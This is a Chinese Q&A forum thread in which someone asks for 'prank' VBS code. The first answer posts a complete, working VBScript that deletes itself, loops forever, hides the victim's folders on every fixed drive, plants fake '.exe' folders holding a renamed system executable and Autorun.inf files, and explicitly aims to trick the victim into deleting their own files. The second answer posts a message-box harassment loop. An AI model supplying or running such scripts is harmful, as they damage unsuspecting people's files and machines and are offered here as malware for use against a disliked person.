谁给我一个整人的VBS代码啊 谢谢了

2024-12-16 13:37:04
推荐回答(2个)
回答1:

有人要VBS整人代码,我就写了一个,如果玩笑开得过火,千万别骂我啊~

简单描述一下:文件夹同名病毒(Autorun病毒)大家都熟悉吧?效果就是那样(不过放心吧,绝不是真的病毒,骗人的),试想,如果有人中招,他会怎么办?杀毒?没用(因为根本不是病毒),情急之下咋办?胡乱删一通,抱歉,他亲手将自己亲爱的文件删了......

废话不多说了,代码如下,大家知道该怎么用:

''''''''''''''''''''代码开始''''''''''''''''''''

On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next

Set Cx=Nothing
Set Fdrs=Nothing

Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next

End If
End If
Next
WScript.Sleep 60*1000
Loop

''''''''''''''''''''代码结束''''''''''''''''''''

打开记事本,复制,保存缀名为vbs格式
注意:此代码不可乱用,可能会把人弄疯的
除非是你最恨的人

回答2:

dim a,b,c
const pass="123456"
a=inputbox("输入密码:123456,这是考验")
if a=pass then
b=msgbox ("不错,很乖嘛,那么你能接受后面的考验吗?注:不接受也得接受",vbyesno,"面对现实吧!")
msgbox "倒数50秒,哈哈"
msgbox "49"
msgbox "48"
msgbox "47"
msgbox "46"
msgbox "45"
msgbox "44"
msgbox "43"
msgbox "42"
msgbox "41"
msgbox "40"
msgbox "39"
msgbox "38"
msgbox "37"
msgbox "36"
msgbox "35"
msgbox "34"
msgbox "33"
msgbox "32"
msgbox "31"
msgbox "30"
msgbox "29"
msgbox "28"
msgbox "27"
msgbox "26"
msgbox "25"
msgbox "24"
msgbox "23"
msgbox "22"
msgbox "21"
msgbox "20"
msgbox "19"
msgbox "18"
msgbox "17"
msgbox "16"
msgbox "15"
msgbox "14"
msgbox "13"
msgbox "12"
msgbox "11"
msgbox "10"
end if
do
c=msgbox ("停,选yes,选no你试试,别怨我",vbyesno,"哈哈哈")
if c=VBno then
msgbox ("考验结束")
exit do
else
msgbox "恭喜,再来一次,哈哈"
msgbox "49"
msgbox "48"
msgbox "47"
msgbox "46"
msgbox "45"
msgbox "44"
msgbox "43"
msgbox "42"
msgbox "41"
msgbox "40"
msgbox "39"
msgbox "38"
msgbox "37"
msgbox "36"
msgbox "35"
msgbox "34"
msgbox "33"
msgbox "32"
msgbox "31"
msgbox "30"
msgbox "29"
msgbox "28"
msgbox "27"
msgbox "26"
msgbox "25"
msgbox "24"
msgbox "23"
msgbox "22"
msgbox "21"
msgbox "20"
msgbox "19"
msgbox "18"
msgbox "17"
msgbox "16"
msgbox "15"
msgbox "14"
msgbox "13"
msgbox "12"
msgbox "11"
msgbox "10"
msgbox "9"
msgbox "8"
msgbox "7"
msgbox "6"
msgbox "5"
msgbox "4"
msgbox "3"
msgbox "2"
msgbox "1"
msgbox "从新选吧"
end if
loop
rem 点框很爽,一直点一直爽